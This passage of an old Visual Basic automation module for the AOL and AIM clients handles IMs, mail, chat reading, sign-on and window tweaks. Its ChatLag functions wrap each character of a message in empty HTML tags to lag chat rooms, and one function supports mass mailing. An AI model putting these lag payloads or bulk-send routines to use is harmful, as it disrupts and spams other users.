  6675. getclas% = GetClassName(child, buffer$, 250)
  6676.  
  6677. GetClass = buffer$
  6678. End Function
  6679.  
  6680.  
  6681. Function TextFromIm()
  6682. 'gets text from ims
  6683. On Error Resume Next
  6684. aol% = FindWindow("AOL Frame25", vbNullString)
  6685. mdi% = FindChildByClass(aol%, "MDIClient")
  6686. TIT% = findchildbytitle(mdi%, ">Instant Message From:")
  6687. tit2% = findchildbytitle(mdi%, " Instant Message From:")
  6688. tit3% = findchildbytitle(mdi%, " Instant Message To:")
  6689. If TIT% <> 0 Then
  6690. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6691. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6692. Trimit$ = Space$(SendNum)
  6693. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6694. Final$ = CStr(Trimit$)
  6695. TextFromIm = Final$
  6696. ElseIf tit2% <> 0 Then
  6697. Rich% = FindChildByClass(tit2%, "RICHCNTL")
  6698. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6699. Trimit$ = Space$(SendNum)
  6700. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6701. Final$ = CStr(Trimit$)
  6702. TextFromIm = Final$
  6703. ElseIf tit3% <> 0 Then
  6704. Rich% = FindChildByClass(tit3%, "RICHCNTL")
  6705. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6706. Trimit$ = Space$(SendNum)
  6707. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6708. Final$ = CStr(Trimit$)
  6709. TextFromIm = Final$
  6710. End If
  6711.  
  6712. End Function
  6713.  
  6714. Function GetUserSn()
  6715. 'a lot of people want the users name
  6716. 'in lower case for some wierd reason
  6717. 'to do that then x = LCase(AOL40GetUser)
  6718. 'will make x = the lower case of the name     and who said the hound dont help ya out
  6719. aol% = FindWindow("AOL Frame25", vbNullString)
  6720. mdi% = FindChildByClass(aol%, "MDIClient")
  6721. weltit% = findchildbytitle(mdi%, "Welcome,")
  6722. lent% = GetWindowTextLength(weltit%)
  6723. strin$ = String$(200, 0)
  6724. Titl% = GetWindowText(weltit%, strin$, (lent% + 1))
  6725. SName$ = Mid$(strin$, 10, (InStr(strin$, "!") - 10))
  6726. GetUserSn = SName$
  6727. End Function
  6728.  
  6729. Function InstantMessage(Who As String, Wat As String)
  6730. 'this method doesnt kill the window that comes up
  6731. 'if member isnt online, use method 2 for that
  6732. Call Keyword("aol://9293:" & Who)
  6733. Do: DoEvents
  6734. aol% = FindWindow("AOL Frame25", vbNullString)
  6735. mdi% = FindChildByClass(aol%, "MDIClient")
  6736. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6737. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6738. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6739. If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do
  6740. Loop
  6741. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6742. For I = 1 To 9
  6743. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6744. Next I
  6745. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6746. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6747.  
  6748. End Function
  6749. Function InstantMessage2(Who As String, Wat As String, HLong As Integer)
  6750. 'this method kills the window if member isnt online
  6751. 'ill let you pick how long the delay is
  6752. 'for a one second delay before it looks for that window
  6753. 'use Call InstantMessage2("user123","hey what up?",1)
  6754. Call Keyword("aol://9293:" & Who)
  6755. Do: DoEvents
  6756. aol% = FindWindow("AOL Frame25", vbNullString)
  6757. mdi% = FindChildByClass(aol%, "MDIClient")
  6758. TIT% = findchildbytitle(mdi%, "Send Instant Message")
  6759. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6760. Icona% = FindChildByClass(TIT%, "_AOL_Icon")
  6761. If TIT% <> 0 And Rich% <> 0 And Icona% <> 0 Then Exit Do
  6762. Loop
  6763. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6764. For I = 1 To 9
  6765. Icona% = GetWindow(Icona%, GW_HWNDNEXT)
  6766. Next I
  6767. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6768. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6769. Wait (HLong)
  6770.     annoying% = FindWindow("#32770", vbNullString)
  6771.         If annoying% <> 0 Then
  6772.              closeit = SendMessage(annoying%, WM_CLOSE, 0, 0&)
  6773.              closeit = SendMessage(TIT%, WM_CLOSE, 0, 0&)
  6774.         End If
  6775.  
  6776. End Function
  6777. Function OnlineOrNot() As Boolean
  6778. 'for 4.0
  6779. aol% = FindWindow("AOL Frame25", vbNullString)
  6780. mdi% = FindChildByClass(aol%, "MDIClient")
  6781. TIT% = FindChildByClass(mdi%, "Welcome,")
  6782. If TIT% <> 0 Then
  6783. OnlineOrNot = True
  6784. Else
  6785. OnlineOrNot = False
  6786. End If
  6787.  
  6788. End Function
  6789.  
  6790. Function Keyword(word As String)
  6791. aol% = FindWindow("AOL Frame25", vbNullString)
  6792. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6793. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6794. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  6795. Edi% = FindChildByClass(Comb%, "Edit")
  6796.  
  6797.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, word)
  6798.  
  6799. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  6800. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  6801.  
  6802. End Function
  6803.  
  6804. Function LastChatLine1()
  6805. Dim Chil%, one$, Rich%, SendNum, Trimit$, last, LastLine$, Richcntl$
  6806. Dim I As Integer
  6807. Chil% = FindChat
  6808. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  6809.  
  6810. SendNum = SendMessageByNum(Rich%, 14, 0&, 0&)
  6811. Trimit$ = Space$(SendNum)
  6812. last = SendMessageByString(Rich%, 13, SendNum + 1, Trimit$)
  6813.  
  6814. Richcntl$ = Trimit$
  6815. X$ = Richcntl$
  6816.  
  6817. For I = 1 To Len(X$)
  6818. one$ = Mid(X$, I, 1)
  6819. LastLine$ = LastLine$ & one$
  6820. If one$ = Chr(13) Then Let LastLine$ = ""
  6821. Next I
  6822. LastChatLine = LastLine$
  6823.  
  6824. End Function
  6825.  
  6826.  
  6827. Function LastLineSN()
  6828. Dim LastLine$, SnText$
  6829. LastLine$ = LastChatLine
  6830. For X = 1 To Len(LastLine$)
  6831. I$ = Mid(LastLine$, X, 1)
  6832.     If I$ = ":" Then
  6833.         Let I$ = ""
  6834.         Exit For
  6835.     End If
  6836.     SnText$ = SnText$ & I$
  6837.         Next X
  6838. LastLineSN = SnText$
  6839. End Function
  6840. Function LastChatLineWithSN1()
  6841. chattext$ = GetchatText
  6842.  
  6843. For FindChar = 1 To Len(chattext$)
  6844.  
  6845. thechar$ = Mid(chattext$, FindChar, 1)
  6846. thechars$ = thechars$ & thechar$
  6847.  
  6848. If thechar$ = Chr(13) Then
  6849. TheChatText$ = Mid(thechars$, 1, Len(thechars$) - 1)
  6850. thechars$ = ""
  6851. End If
  6852.  
  6853. Next FindChar
  6854.  
  6855. lastlen = Val(FindChar) - Len(thechars$)
  6856. LastLine = Mid(chattext$, lastlen, Len(thechars$))
  6857.  
  6858. LastChatLineWithSN = LastLine
  6859. End Function
  6860.  
  6861.  
  6862.  
  6863. Function AOL30_LastLineSN()
  6864. LastLine$ = AOL30_LastChatLine
  6865. For X = 1 To Len(LastLine$)
  6866. I$ = Mid(LastLine$, X, 1)
  6867.     If I$ = ":" Then
  6868.         Let I$ = ""
  6869.         Exit For
  6870.     End If
  6871.     SnText$ = SnText$ & I$
  6872.         Next X
  6873. AOL30_LastLineSN = SnText$
  6874. End Function
  6875. Function LastLineText()
  6876. Dim LastLine$, txt$
  6877. Dim I As String
  6878. Dim X As Integer
  6879. LastLine$ = LastChatLine
  6880. For X = 1 To Len(LastLine$)
  6881. I$ = Mid(LastLine$, X, 1)
  6882. txt$ = txt$ & I$
  6883. If I$ = Chr(9) Then
  6884. Let I$ = ""
  6885. txt$ = ""
  6886. End If
  6887.  
  6888.  
  6889. Next X
  6890. LastLineText = txt$
  6891. End Function
  6892.  
  6893. Function AOL30_LastLineText()
  6894. 'gives the lst line without the screen name
  6895. LastLine$ = AOL30_LastChatLine
  6896. For X = 1 To Len(LastLine$)
  6897. I$ = Mid(LastLine$, X, 1)
  6898. txt$ = txt$ & I$
  6899. If I$ = Chr(9) Then
  6900. Let I$ = ""
  6901. txt$ = ""
  6902. End If
  6903.  
  6904.  
  6905. Next X
  6906. AOL30_LastLineText = txt$
  6907.  
  6908. End Function
  6909.  
  6910.  
  6911. Function SendMailSpecial(Who, Subj, Wat)
  6912. 'Same mail code as the other one except that
  6913. 'this waits for the "Your mail has been sent"
  6914. 'box to come up and closes it. For people who didnt
  6915. 'change that preference, just as good but a little
  6916. 'slower
  6917.  
  6918. aol% = FindWindow("AOL Frame25", vbNullString)
  6919. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6920. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6921. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  6922. Icona% = GetWindow(Icona%, 2)
  6923. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6924. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6925. Do: DoEvents
  6926. mdi% = FindChildByClass(aol%, "MDIClient")
  6927. TIT% = findchildbytitle(mdi%, "Write Mail")
  6928. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6929. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6930. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  6931. Loop
  6932. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  6933.     For n = 1 To 4
  6934.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  6935.     Next n
  6936. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subj)
  6937. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Wat)
  6938.     For I = 1 To 22
  6939.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  6940.     Next I
  6941.  
  6942. clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  6943. clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  6944. Wait (2)
  6945. Modal% = FindWindow("_AOL_Modal", vbNullString)
  6946. stat% = FindChildByClass(Modal%, "_AOL_Static")
  6947. iconb% = FindChildByClass(Modal%, "_AOL_Icon")
  6948. If iconb% <> 0 Then
  6949. closea = SendMessage(iconb%, WM_LBUTTONDOWN, 0, 0&)
  6950. closea = SendMessage(iconb%, WM_LBUTTONUP, 0, 0&)
  6951.  
  6952. End If
  6953.  
  6954. End Function
  6955.  
  6956.  
  6957. Function MyMailx(Who As String, Copy As String, Subject As String, Mess As String)
  6958. 'its called MyMail cause i use this for the
  6959. 'mass mail function. its not exactly for you
  6960. aol% = FindWindow("AOL Frame25", vbNullString)
  6961. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6962. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6963. Icona% = FindChildByClass(toolb%, "_AOL_Icon")
  6964. Icona% = GetWindow(Icona%, 2)
  6965. clickit = SendMessage(Icona%, WM_LBUTTONDOWN, 0, 0&)
  6966. clickit = SendMessage(Icona%, WM_LBUTTONUP, 0, 0&)
  6967. Do: DoEvents
  6968. mdi% = FindChildByClass(aol%, "MDIClient")
  6969. TIT% = findchildbytitle(mdi%, "Write Mail")
  6970. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  6971. Rich% = FindChildByClass(TIT%, "RICHCNTL")
  6972. If TIT% <> 0 And Edi% <> 0 And Rich% <> 0 Then Exit Do
  6973. Loop
  6974. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Who)
  6975.     For n = 1 To 2
  6976.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  6977.     Next n
  6978. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Copy)
  6979. For r = 1 To 2
  6980.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  6981.     Next r
  6982.     fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Subject)
  6983. fillit = SendMessageByString(Rich%, WM_SETTEXT, 0, Mess)
  6984.     For I = 1 To 22
  6985.         Edi% = GetWindow(Edi%, GW_HWNDNEXT)
  6986.     Next I
  6987.  
  6988. clickit = SendMessage(Edi%, WM_LBUTTONDOWN, 0, 0&)
  6989. clickit = SendMessage(Edi%, WM_LBUTTONUP, 0, 0&)
  6990. End Function
  6991.  
  6992.  
  6993.  
  6994.  
  6995. Function PrivRoom(RoomName As String)
  6996. aol% = FindWindow("AOL Frame25", vbNullString)
  6997. tool% = FindChildByClass(aol%, "AOL Toolbar")
  6998. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  6999. Comb% = FindChildByClass(toolb%, "_AOL_Combobox")
  7000. Edi% = FindChildByClass(Comb%, "Edit")
  7001.  
  7002.   fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, "aol://2719:2-2-" & RoomName)
  7003.  
  7004. clickit = SendMessageByNum(Edi%, WM_CHAR, VK_SPACE, 0&)
  7005. clickit = SendMessageByNum(Edi%, WM_CHAR, 13, 0&)
  7006. Wait (0.3)
  7007. Nope% = FindWindow("#32770", vbNullString)
  7008. If Nope% <> 0 Then
  7009. closeit = SendMessage(Nope%, WM_CLOSE, 0, 0&)
  7010. End If
  7011. End Function
  7012. Sub RunMenu(Menu1 As Integer, Menu2 As Integer)
  7013. Dim AOLWorks As Long
  7014. Static Working As Integer
  7015.  
  7016. AOLMenus% = GetMenu(FindWindow("AOL Frame25", vbNullString))
  7017. AOLSubmenu% = GetSubMenu(AOLMenus%, Menu1)
  7018. AOLItemID = GetMenuItemID(AOLSubmenu%, Menu2)
  7019. AOLWorks = CLng(0) * &H10000 Or Working
  7020. ClickAOLMenu = SendMessageByNum(FindWindow("AOL Frame25", vbNullString), 273, AOLItemID, 0&)
  7021.  
  7022. End Sub
  7023. Function ChangeChatStatic(Wat As String)
  7024. 'changes the label under the listbox
  7025. 'in the 4.0 chat room
  7026. Dim Chil%, Rich%, stat%, stat2%, stat3%, stat4%, X
  7027. Chil% = FindChat
  7028. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7029. stat% = FindChildByClass(Chil%, "_AOL_Static")
  7030.    stat2% = GetWindow(stat%, GW_HWNDNEXT)
  7031.         stat3% = GetWindow(stat2%, GW_HWNDNEXT)
  7032.             stat4% = GetWindow(stat3%, GW_HWNDNEXT)
  7033.  X = SendMessageByString(stat4%, WM_SETTEXT, 0, Wat)
  7034. End Function
  7035. Function ChangeChatCaption(Caption$)
  7036. 'changes the chatroom's caption
  7037. Dim caption1 As Long, captionchange As Long
  7038. caption1& = FindWindow("AIM_ChatWnd", vbNullString)
  7039. captionchange& = SendMessageByString(caption1&, WM_SETTEXT, 0, Caption$)
  7040. End Function
  7041.  
  7042. Function ChangeRoomNum(num)
  7043. 'what this does is change the number of
  7044. 'people it says are in a chat room
  7045. 'wierd but i stumbled on this when i was
  7046. 'workin on somethin else
  7047. Dim Chil%, Rich%, stat%, X
  7048. Chil% = FindChat
  7049. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7050. stat% = FindChildByClass(Chil%, "_AOL_Static")
  7051.  X = SendMessageByString(stat%, WM_SETTEXT, 0, num)
  7052. End Function
  7053.  
  7054. Function ChatLag(Wat As String)
  7055. 'this wont work till aol lets more then 90 characters in the lame rooom
  7056. ' but this is a great lag option -=)
  7057. For X = 1 To Len(Wat)
  7058. I$ = Mid(Wat, X, 1)
  7059.  
  7060. slow$ = slow$ & "<html></html><html></html>" & I$ & "<html></html><html></html>"
  7061. Next X
  7062. Wat = slow$
  7063. Call ErrorRsenD("<i>" & Wat)
  7064.  
  7065. End Function
  7066.  
  7067. Function ChatLag2(Wat As String)
  7068. For X = 1 To Len(Wat)
  7069. I$ = Mid(Wat, X, 1)
  7070.  
  7071. slow$ = slow$ & "<html></html><html></html><html></html>" & I$ & "<html></html><html></html><html></html>"
  7072. Next X
  7073. Wat = slow$
  7074. Call ErrorRsenD("<i>" & Wat)
  7075.  
  7076. End Function
  7077.  
  7078. Function ChatLag3(Wat As String)
  7079. For X = 1 To Len(Wat)
  7080. I$ = Mid(Wat, X, 1)
  7081.  
  7082. slow$ = slow$ & "<html></html><html></html><html></html><html></html>" & I$ & "<html></html><html></html><html></html><html></html>"
  7083. Next X
  7084. Wat = slow$
  7085. Call ErrorRsenD("<i>" & Wat)
  7086.  
  7087. End Function
  7088. Function SendChat(Wat As String)
  7089. 'this function dont work know more do to aol update
  7090. 'I now taged in a new on a better one
  7091. 'just use ex: ErrorRsenD " AOL SUX "
  7092. Dim rich7%, There, again, fillit
  7093. rich7% = FindChatEdit
  7094.  
  7095.  
  7096. fillit = SendMessageByString(rich7%, WM_SETTEXT, 0, Wat)
  7097. fillit = SendMessage(rich7%, WM_CHAR, 13, 0&)
  7098.     There = SendMessageByString(rich7%, WM_GETTEXTLENGTH, 0, 0&)
  7099. If There <> 0 Then
  7100.     again = SendMessage(rich7%, WM_CHAR, 13, 0&)
  7101. End If
  7102.  
  7103. End Function
  7104. Function CloseChat()
  7105. aol% = FindWindow("AOL Frame25", vbNullString)
  7106. mdi% = FindChildByClass(aol%, "MDIClient")
  7107. Chil% = FindChildByClass(mdi%, "AOL Child")
  7108. Combo% = FindChildByClass(Chil%, "_AOL_Combobox")
  7109. lis% = FindChildByClass(Chil%, "_AOL_Listbox")
  7110. Rich% = FindChildByClass(Chil%, "RICHCNTL")
  7111. If Chil% <> 0 And Combo% <> 0 And lis% <> 0 And Rich% <> 0 Then
  7112. closeit = SendMessage(Chil%, WM_CLOSE, 0, 0&)
  7113. End If
  7114. End Function
  7115. Sub MacroDraw(Text As String)
  7116. If Mid(Text$, Len(Text$), 1) <> Chr$(10) Then
  7117. Text$ = Text$ + Chr$(13) + Chr$(10)
  7118. End If
  7119. Do While (InStr(Text$, Chr$(13)) <> 0)
  7120. Counter = Counter + 1
  7121. SendChat Mid(Text$, 1, InStr(Text$, Chr(13)) - 1)
  7122. If Counter = 4 Then
  7123. TimeOut (4#)
  7124. Counter = 0
  7125. End If
  7126. Text$ = Mid(Text$, InStr(Text$, Chr(13) + Chr(10)) + 2)
  7127. Loop
  7128. End Sub
  7129.  
  7130. Function KillGlyph()
  7131. 'kill the annoying aol animation on the top right
  7132. aol% = FindWindow("AOL Frame25", vbNullString)
  7133. tool% = FindChildByClass(aol%, "AOL Toolbar")
  7134. toolb% = FindChildByClass(tool%, "_AOL_Toolbar")
  7135. Gly% = FindChildByClass(toolb%, "_AOL_Glyph")
  7136. If Gly% <> 0 Then
  7137. closeit = SendMessage(Gly%, WM_CLOSE, 0, 0&)
  7138. End If
  7139. End Function
  7140.  
  7141. Function LinkSend(URL As String, LinkName As String)
  7142. 'make the url just from www and on
  7143. 'this will add the http:\\ part
  7144. Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "< /a>")
  7145.  
  7146.  
  7147. End Function
  7148. Function LinkSend2(URL As String, LinkName As String, Comments As String)
  7149. 'same as the first link send but lets you add
  7150. 'comments after the link
  7151. Call ErrorRsenD("< a href=" & Chr(34) & "Http:\\" & URL & Chr(34) & ">" & LinkName & "</a>" & " " & Comments)
  7152.  
  7153. End Function
  7154.  
  7155.  
  7156. Function SignOnWithPass(Pass As String)
  7157. 'this will sign a user onto aol4.0
  7158. 'this will also fill in there password
  7159.  
  7160. aol% = FindWindow("AOL Frame25", vbNullString)
  7161. mdi% = FindChildByClass(aol%, "MDIClient")
  7162. TIT% = findchildbytitle(mdi%, "Goodbye From America Online")
  7163. tit2% = findchildbytitle(mdi%, "Sign On")
  7164.  
  7165. If TIT% <> 0 Then
  7166. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7167.  
  7168.  fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7169. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7170.  
  7171.  
  7172. ElseIf tit2% <> 0 Then
  7173. Edi% = FindChildByClass(tit2%, "_AOL_Edit")
  7174.  
  7175. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7176. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7177.  
  7178. End If
  7179.  
  7180. End Function
  7181. Function RGB2HEX(r, G, B)
  7182.     Dim X&
  7183.     Dim xx&
  7184.     Dim Color&
  7185.     Dim Divide
  7186.     Dim Answer&
  7187.     Dim Remainder&
  7188.     Dim Configuring$
  7189.     For X& = 1 To 3
  7190.         If X& = 1 Then Color& = B
  7191.         If X& = 2 Then Color& = G
  7192.         If X& = 3 Then Color& = r
  7193.         For xx& = 1 To 2
  7194.             Divide = Color& / 16
  7195.             Answer& = Int(Divide)
  7196.             Remainder& = (10000 * (Divide - Answer&)) / 625
  7197.             If Remainder& < 10 Then Configuring$ = Str(Remainder&) + Configuring$
  7198.             If Remainder& = 10 Then Configuring$ = "A" + Configuring$
  7199.             If Remainder& = 11 Then Configuring$ = "B" + Configuring$
  7200.             If Remainder& = 12 Then Configuring$ = "C" + Configuring$
  7201.             If Remainder& = 13 Then Configuring$ = "D" + Configuring$
  7202.             If Remainder& = 14 Then Configuring$ = "E" + Configuring$
  7203.             If Remainder& = 15 Then Configuring$ = "F" + Configuring$
  7204.             Color& = Answer&
  7205.         Next xx&
  7206.     Next X&
  7207.     Configuring$ = TrimSpaces(Configuring$)
  7208.     RGB2HEX = Configuring$
  7209. End Function
  7210. Function TrimSpaces(Text)
  7211.     If InStr(Text, " ") = 0 Then
  7212.     TrimSpaces = Text
  7213.     Exit Function
  7214.     End If
  7215.     For TrimSpace = 1 To Len(Text)
  7216.     thechar$ = Mid(Text, TrimSpace, 1)
  7217.     thechars$ = thechars$ & thechar$
  7218.     If thechar$ = " " Then
  7219.     thechars$ = Mid(thechars$, 1, Len(thechars$) - 1)
  7220.     End If
  7221.     Next TrimSpace
  7222.     TrimSpaces = thechars$
  7223. End Function
  7224. Function AOL30_SignOn(Pass As String)
  7225. 'this will sign a user onto aol3.0
  7226. 'this will also fill in there password
  7227. aol% = FindWindow("AOL Frame25", vbNullString)
  7228. mdi% = FindChildByClass(aol%, "MDIClient")
  7229. TIT% = findchildbytitle(mdi%, "Goodbye From America Online")
  7230. tit2% = findchildbytitle(mdi%, "Welcome")
  7231.  
  7232. If TIT% <> 0 Then
  7233. Edi% = FindChildByClass(TIT%, "_AOL_Edit")
  7234.  
  7235.  fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7236. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7237.  
  7238.  
  7239. ElseIf tit2% <> 0 Then
  7240. Edi% = FindChildByClass(tit2%, "_AOL_Edit")
  7241.  
  7242. fillit = SendMessageByString(Edi%, WM_SETTEXT, 0, Pass)
  7243. clickit = SendMessage(Edi%, WM_CHAR, 13, 0&)
  7244.  
  7245. End If
  7246.  
  7247. End Function
  7248.  
  7249.  
  7250. Function SNameDecoder(name As String, Ascii As String)
  7251. For X = 1 To Len(name)
  7252. letta$ = Mid(name, X, 1)
  7253. If letta$ = "l" Then Let letta$ = "L": GoTo Done
  7254. If letta$ = "O" Then Let letta$ = "o": GoTo Done
  7255. If letta$ = "I" Then Let letta$ = "i": GoTo Done
  7256. If letta$ = "V" Then Let letta$ = "v ": GoTo Done
  7257.  
  7258. Done:
  7259. I$ = I$ & letta$
  7260. Next X
  7261. Call ErrorRsenD("  " & Ascii & "Screen Name Decoder")
  7262. Wait (0.5)
  7263. Call ErrorRsenD("  " & Ascii & "Now decoding " & name)
  7264. Wait (0.5)
  7265. Call ErrorRsenD("  " & Ascii & name & " = " & I$)
  7266. End Function
  7267. Function Program_Minimize(frm As Form)
  7268. frm.WindowState = 1
  7269. End Function
  7270.  
  7271.  
  7272. Function FileLoadList(FileName As String, lis As ListBox)
  7273. On Error Resume Next
  7274. Open FileName For Input As #1
  7275. Do While Not EOF(1)
  7276.  Line Input #1, ln$
  7277. lis.AddItem ln$
  7278. Loop
  7279. Close #1
  7280. End Function
  7281.  
  7282. Function FileSaveList(FileName As String, lis As ListBox)
  7283. Free = FreeFile
  7284. Open FileName For Output As Free
  7285. For X = 0 To lis.ListCount
  7286. Print #1, lis.List(X)
  7287. Next X
  7288. Close #1
  7289. End Function
  7290. Function FindAol30()
  7291. aol% = FindWindow("AOL Frame25", vbNullString)
  7292. FindAol30 = aol%
  7293.  
  7294. End Function
  7295.  
  7296.  
  7297.  
  7298.  
  7299. Function Form_RollDownSlow(frm As Form)
  7300.  
  7301. X = frm.Height
  7302. For I = 1 To X Step 50: frm.Show
  7303. frm.Height = I
  7304. Wait (0.000001)
  7305. Next I
  7306. End Function
  7307. Function Form_RollDown(frm As Form)
  7308. X = frm.Height
  7309.  
  7310. For I = 1 To X Step 80: frm.Show
  7311. frm.Height = I
  7312. Wait (0.000001)
  7313. Next I
  7314. End Function
  7315.  
  7316. Function Form_RollDownFast(frm As Form)
  7317. 'theres a slightly better way to do these it just
  7318. 'involves the form not flashing for a second on load
  7319. 'but for that i'd have to expect everyone to know there
  7320. 'forms hieght and i know a lot of people arent sure about
  7321. 'object properties
  7322. X = frm.Height 'logs the initial hieght
  7323. For I = 1 To X Step 80: frm.Show
  7324. frm.Height = I 'goes to that height 80 by 80
  7325. Wait (0.0001)
  7326. Next I
  7327. End Function
  7328.  
  7329. Function AddFontsToList(lis As ListBox)
  7330. For X = 0 To Screen.FontCount - 1
  7331.     lis.AddItem Screen.Fonts(X)
  7332.    
  7333. Next X
  7334. End Function
  7335. Function AddFontsList(Combo)
  7336. For X = 0 To Screen.FontCount - 1
  7337. Combo.AddItem Screen.Fonts(X)
  7338. Next X
  7339. End Function
  7340. Function WavY(TheText As String)
  7341.  
  7342. G$ = TheText
  7343. a = Len(G$)
  7344. For W = 1 To a Step 4
  7345.     r$ = Mid$(G$, W, 1)
  7346.     u$ = Mid$(G$, W + 1, 1)
  7347.     s$ = Mid$(G$, W + 2, 1)
  7348.     T$ = Mid$(G$, W + 3, 1)
  7349.     p$ = p$ & "<B><sup>" & r$ & "</sup>" & u$ & "<sub>" & s$ & "</sub>" & T$
  7350. Next W
  7351. ErrorRsenD (p$)
  7352.  
  7353. End Function
  7354. Sub WaitForOk()
  7355. Do
  7356. DoEvents
  7357. okw = FindWindow("#32770", "America Online")
  7358. If proG_STAT$ = "OFF" Then
  7359. Exit Sub
  7360. Exit Do
  7361. End If
  7362.  
  7363. DoEvents
  7364. Loop Until okw <> 0
  7365.    
  7366.     okb = findchildbytitle(okw, "OK")
  7367.     okd = SendMessageByNum(okb, WM_LBUTTONDOWN, 0, 0&)
  7368.     oku = SendMessageByNum(okb, WM_LBUTTONUP, 0, 0&)
  7369.  
  7370.  
  7371. End Sub
  7372.  
  7373.  
  7374. Function AddFontsToCombo(Comb As ComboBox)
  7375. For X = 0 To Screen.FontCount - 1
  7376.     Comb.AddItem Screen.Fonts(X)
  7377.    
  7378. Next X
  7379. End Function
  7380. Public Sub ErrorRsenD(Chat As String)
  7381.     Dim Room As Long, AORich As Long, AORich2 As Long
  7382.     Room& = FindRoom&
  7383.     AORich& = FindWindowEx(Room, 0&, "RICHCNTL", vbNullString)
  7384.     AORich2& = FindWindowEx(Room, AORich, "RICHCNTL", vbNullString)
  7385.     Call SendMessageByString(AORich2, WM_SETTEXT, 0&, Chat$)
  7386.     Call SendMessageLong(AORich2, WM_CHAR, ENTER_KEY, 0&)
  7387. End Sub
  7388.  
  7389.  
  7390. Sub AOLIcon(Icon%)
  7391. Click% = SendMessage(Icon%, WM_LBUTTONDOWN, 0, 0&)
  7392. Click% = SendMessage(Icon%, WM_LBUTTONUP, 0, 0&)
  7393. End Sub
  7394.  
  7395. Function meeh_Encrypt(strin As String)
  7396. Let inptxt$ = strin
  7397. Let lenth% = Len(inptxt$)
  7398. Do While NumSpc% <= lenth%
  7399. Let NumSpc% = NumSpc% + 1
  7400. Let NextChr$ = Mid$(inptxt$, NumSpc%, 1)
  7401. If NextChr$ = "A" Then Let NextChr$ = "Ü"
  7402. If NextChr$ = "B" Then Let NextChr$ = "£"
  7403. If NextChr$ = "C" Then Let NextChr$ = "ó"
  7404. If NextChr$ = "D" Then Let NextChr$ = "ñ"
  7405. If NextChr$ = "E" Then Let NextChr$ = "▒"
  7406. If NextChr$ = "F" Then Let NextChr$ = "░"
  7407. If NextChr$ = "G" Then Let NextChr$ = "▓"
  7408. If NextChr$ = "H" Then Let NextChr$ = "│"
  7409. If NextChr$ = "I" Then Let NextChr$ = "╡"
  7410. If NextChr$ = "J" Then Let NextChr$ = "¬"
  7411. If NextChr$ = "K" Then Let NextChr$ = "╣"
  7412. If NextChr$ = "L" Then Let NextChr$ = "║"
  7413. If NextChr$ = "M" Then Let NextChr$ = "ƒ"
  7414. If NextChr$ = "N" Then Let NextChr$ = "φ"
  7415. If NextChr$ = "O" Then Let NextChr$ = "ε"
  7416. If NextChr$ = "P" Then Let NextChr$ = "∩"
  7417. If NextChr$ = "Q" Then Let NextChr$ = "≡"
  7418. If NextChr$ = "R" Then Let NextChr$ = "±"
  7419. If NextChr$ = "S" Then Let NextChr$ = "≥"
  7420. If NextChr$ = "T" Then Let NextChr$ = "≤"
  7421. If NextChr$ = "U" Then Let NextChr$ = "⌠"
